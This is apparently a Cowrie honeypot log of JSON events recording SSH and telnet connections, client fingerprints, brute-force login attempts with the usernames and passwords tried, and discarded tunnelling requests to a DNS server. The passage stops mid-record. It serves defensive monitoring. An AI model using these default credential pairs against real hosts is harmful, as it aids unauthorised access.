{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:51.819876Z","src_ip":"87.251.64.176","session":"48bb15300d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":42990,"dst_ip":"159.203.135.109","dst_port":23,"session":"a55ebdda328a","protocol":"telnet","message":"New connection: 103.249.87.183:42990 (159.203.135.109:23) [session: a55ebdda328a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:51.913845Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:51.920313Z","src_ip":"87.251.64.176","session":"48bb15300d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":43184,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aa2bfd49709","protocol":"telnet","message":"New connection: 103.249.87.183:43184 (159.203.135.109:23) [session: 0aa2bfd49709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:52.271828Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":44260,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3524fe34b3d","protocol":"telnet","message":"New connection: 103.249.87.183:44260 (159.203.135.109:23) [session: c3524fe34b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:54.147506Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":46172,"dst_ip":"159.203.135.109","dst_port":23,"session":"332960162c91","protocol":"telnet","message":"New connection: 103.249.87.183:46172 (159.203.135.109:23) [session: 332960162c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:57.010158Z"}
{"eventid":"cowrie.session.closed","duration":30.760863065719604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:58.588684Z","src_ip":"103.249.87.183","session":"9433db65932d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":47346,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ba4e62a0594","protocol":"telnet","message":"New connection: 103.249.87.183:47346 (159.203.135.109:23) [session: 8ba4e62a0594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:59.317335Z"}
{"eventid":"cowrie.session.closed","duration":30.8980610370636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:00.178936Z","src_ip":"103.249.87.183","session":"2469d9f9e5a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":48840,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4f156a0079f","protocol":"telnet","message":"New connection: 103.249.87.183:48840 (159.203.135.109:23) [session: d4f156a0079f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:01.684632Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":52486,"dst_ip":"159.203.135.109","dst_port":23,"session":"847c2c8f27cc","protocol":"telnet","message":"New connection: 103.249.87.183:52486 (159.203.135.109:23) [session: 847c2c8f27cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:07.890690Z"}
{"eventid":"cowrie.session.closed","duration":31.31096577644348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:12.618550Z","src_ip":"103.249.87.183","session":"c7d3ed933617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":56358,"dst_ip":"159.203.135.109","dst_port":23,"session":"74a6cdaceba0","protocol":"telnet","message":"New connection: 103.249.87.183:56358 (159.203.135.109:23) [session: 74a6cdaceba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:13.922459Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":57170,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5b721f72cec","protocol":"telnet","message":"New connection: 103.249.87.183:57170 (159.203.135.109:23) [session: d5b721f72cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:15.226873Z"}
{"eventid":"cowrie.session.closed","duration":30.692650318145752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:17.345497Z","src_ip":"103.249.87.183","session":"6a1cf5c5de58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":58684,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3d41d1da7e","protocol":"telnet","message":"New connection: 103.249.87.183:58684 (159.203.135.109:23) [session: da3d41d1da7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:17.591656Z"}
{"eventid":"cowrie.session.closed","duration":32.08648729324341,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:20.004227Z","src_ip":"103.249.87.183","session":"aad009879931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40560483932495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:21.169952Z","src_ip":"103.249.87.183","session":"28433c0bc239","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02930521965027,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:23.083757Z","src_ip":"103.249.87.183","session":"0d87bac84f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876239776611328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:23.147951Z","src_ip":"103.249.87.183","session":"0aa2bfd49709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.239458560943604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:23.153177Z","src_ip":"103.249.87.183","session":"a55ebdda328a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098281145095825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:25.245521Z","src_ip":"103.249.87.183","session":"c3524fe34b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.249894857406616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:28.259931Z","src_ip":"103.249.87.183","session":"332960162c91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856579065322876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:30.173778Z","src_ip":"103.249.87.183","session":"8ba4e62a0594","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107794523239136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:32.792317Z","src_ip":"103.249.87.183","session":"d4f156a0079f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268294095993042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:39.158884Z","src_ip":"103.249.87.183","session":"847c2c8f27cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":46358,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a6e4b4d3799","protocol":"telnet","message":"New connection: 103.249.87.183:46358 (159.203.135.109:23) [session: 4a6e4b4d3799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:41.825442Z"}
{"eventid":"cowrie.session.closed","duration":31.225411415100098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:45.147738Z","src_ip":"103.249.87.183","session":"74a6cdaceba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91231083869934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:46.139056Z","src_ip":"103.249.87.183","session":"d5b721f72cec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065072774887085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:48.656401Z","src_ip":"103.249.87.183","session":"da3d41d1da7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":54820,"dst_ip":"159.203.135.109","dst_port":23,"session":"62f28f49940d","protocol":"telnet","message":"New connection: 103.249.87.183:54820 (159.203.135.109:23) [session: 62f28f49940d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:56.067759Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":56070,"dst_ip":"159.203.135.109","dst_port":23,"session":"4561a929bd81","protocol":"telnet","message":"New connection: 103.249.87.183:56070 (159.203.135.109:23) [session: 4561a929bd81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:14:57.944651Z"}
{"eventid":"cowrie.session.closed","duration":30.755947828292847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:12.581276Z","src_ip":"103.249.87.183","session":"4a6e4b4d3799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":38132,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8377c962b37","protocol":"telnet","message":"New connection: 103.249.87.183:38132 (159.203.135.109:23) [session: d8377c962b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:13.965086Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":55178,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f8ad8a18ac","protocol":"ssh","message":"New connection: 201.217.12.57:55178 (10.17.0.5:22) [session: 08f8ad8a18ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:16.981221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:16.986344Z","src_ip":"201.217.12.57","session":"08f8ad8a18ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:17.174984Z","src_ip":"201.217.12.57","session":"08f8ad8a18ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir@2025","message":"login attempt [amir/amir@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:17.957012Z","src_ip":"201.217.12.57","session":"08f8ad8a18ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:19.149259Z","src_ip":"201.217.12.57","session":"08f8ad8a18ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":41490,"dst_ip":"159.203.135.109","dst_port":23,"session":"7758022b2d14","protocol":"telnet","message":"New connection: 103.249.87.183:41490 (159.203.135.109:23) [session: 7758022b2d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:19.268769Z"}
{"eventid":"cowrie.session.closed","duration":31.264815092086792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:27.332484Z","src_ip":"103.249.87.183","session":"62f28f49940d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18902277946472,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:29.133563Z","src_ip":"103.249.87.183","session":"4561a929bd81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.604345321655273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:45.569312Z","src_ip":"103.249.87.183","session":"d8377c962b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93376874923706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:50.202444Z","src_ip":"103.249.87.183","session":"7758022b2d14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.249.246","src_port":58738,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6e6fe50bd7d","protocol":"telnet","message":"New connection: 188.132.249.246:58738 (159.203.135.109:23) [session: d6e6fe50bd7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:59.288183Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32974,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec92a0d725da","protocol":"ssh","message":"New connection: 87.251.64.176:32974 (10.17.0.5:22) [session: ec92a0d725da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:59.815711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:59.819101Z","src_ip":"87.251.64.176","session":"ec92a0d725da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:15:59.914716Z","src_ip":"87.251.64.176","session":"ec92a0d725da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:00.202920Z","src_ip":"87.251.64.176","session":"ec92a0d725da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:00.301838Z","session":"ec92a0d725da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:00.400335Z","src_ip":"87.251.64.176","session":"ec92a0d725da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:00.505568Z","src_ip":"87.251.64.176","session":"ec92a0d725da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.249.246","src_port":59114,"dst_ip":"159.203.135.109","dst_port":23,"session":"be84f7c8e5fb","protocol":"telnet","message":"New connection: 188.132.249.246:59114 (159.203.135.109:23) [session: be84f7c8e5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:04.575038Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34826,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d2f9195f709","protocol":"ssh","message":"New connection: 193.32.162.145:34826 (10.17.0.5:22) [session: 5d2f9195f709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:07.514602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:07.519511Z","src_ip":"193.32.162.145","session":"5d2f9195f709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:07.621403Z","src_ip":"193.32.162.145","session":"5d2f9195f709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:07.922863Z","src_ip":"193.32.162.145","session":"5d2f9195f709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:09.026098Z","src_ip":"193.32.162.145","session":"5d2f9195f709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":36004,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cf3231b0196","protocol":"ssh","message":"New connection: 181.123.136.11:36004 (10.17.0.5:22) [session: 4cf3231b0196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:33.867142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:16:33.878319Z","src_ip":"181.123.136.11","session":"4cf3231b0196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 